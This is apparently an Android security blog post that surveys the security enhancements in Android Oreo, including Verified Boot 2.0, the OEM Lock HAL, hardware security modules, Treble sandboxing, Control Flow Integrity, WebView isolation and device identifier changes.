Android Oreo is stuffed full of security enhancements. Over the past few months, we've covered how we've improved the security of the Android platform and its applications: from making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, making Android easier to update, all the way to doubling the Android Security Rewards payouts. Now that Oreo is out the door, let's take a look at all the goodness inside.
Android already supports Verified Boot, which is designed to prevent devices from booting up with software that has been tampered with. In Android Oreo, we added a reference implementation for Verified Boot running with Project Treble, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool features to make updates easier and more secure, such as a common footer format and rollback protection. Rollback protection is designed to prevent a device to boot if downgraded to an older OS version, which could be vulnerable to an exploit. To do this, the devices save the OS version using either special hardware or by having the Trusted Execution Environment (TEE) sign the data. Pixel 2 and Pixel 2 XL come with this protection and we recommend all device manufacturers add this feature to their new devices.
Oreo also includes the new OEM Lock Hardware Abstraction Layer (HAL) that gives device manufacturers more flexibility for how they protect whether a device is locked, unlocked, or unlockable. For example, the new Pixel phones use this HAL to pass commands to the bootloader. The bootloader analyzes these commands the next time the device boots and determines if changes to the locks, which are securely stored in Replay Protected Memory Block (RPMB), should happen. If your device is stolen, these safeguards are designed to prevent your device from being reset and to keep your data secure. This new HAL even supports moving the lock state to dedicated hardware.
Speaking of hardware, we've invested support in tamper-resistant hardware, such as the security module found in every Pixel 2 and Pixel 2 XL. This physical chip prevents many software and hardware attacks and is also resistant to physical penetration attacks. The security module prevents deriving the encryption key without the device's passcode and limits the rate of unlock attempts, which makes many attacks infeasible due to time restrictions.
While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo are required to implement key attestation. This provides a mechanism for strongly attesting IDs such as hardware identifiers.
We added new features for enterprise-managed devices as well. In work profiles, encryption keys are now ejected from RAM when the profile is off or when your company's admin remotely locks the profile. This helps secure enterprise data at rest.
As part of Project Treble, the Android framework was re-architected to make updates easier and less costly for device manufacturers. This separation of platform and vendor-code was also designed to improve security. Following the principle of least privilege, these HALs run in their own sandbox and only have access to the drivers and permissions that are absolutely necessary.
Continuing with the media stack hardening in Android Nougat, most direct hardware access has been removed from the media frameworks in Oreo resulting in better isolation. Furthermore, we've enabled Control Flow Integrity (CFI) across all media components. Most vulnerabilities today are exploited by subverting the normal control flow of an application, instead changing them to perform arbitrary malicious activities with all the privileges of the exploited application. CFI is a robust security mechanism that disallows arbitrary changes to the original control flow graph of a compiled binary, making it significantly harder to perform such attacks.
In addition to these architecture changes and CFI, Android Oreo comes with a feast of other tasty platform security enhancements:
Android Instant Apps run in a restricted sandbox which limits permissions and capabilities such as reading the on-device app list or transmitting cleartext traffic. Although introduced during the Android Oreo release, Instant Apps supports devices running Android Lollipop and later.
In order to handle untrusted content more safely, we've isolated WebView by splitting the rendering engine into a separate process and running it within an isolated sandbox that restricts its resources. WebView also supports Safe Browsing to protect against potentially dangerous sites.
Lastly, we've made significant changes to device identifiers to give users more control, including:
net.hostname
Build.getSerial() API
Android Oreo brings in all of these improvements, and many more. As always, we appreciate feedback and welcome suggestions for how we can improve Android. Contact us at security@android.com.
_____________________________________________________________________
1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche: University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU Leuven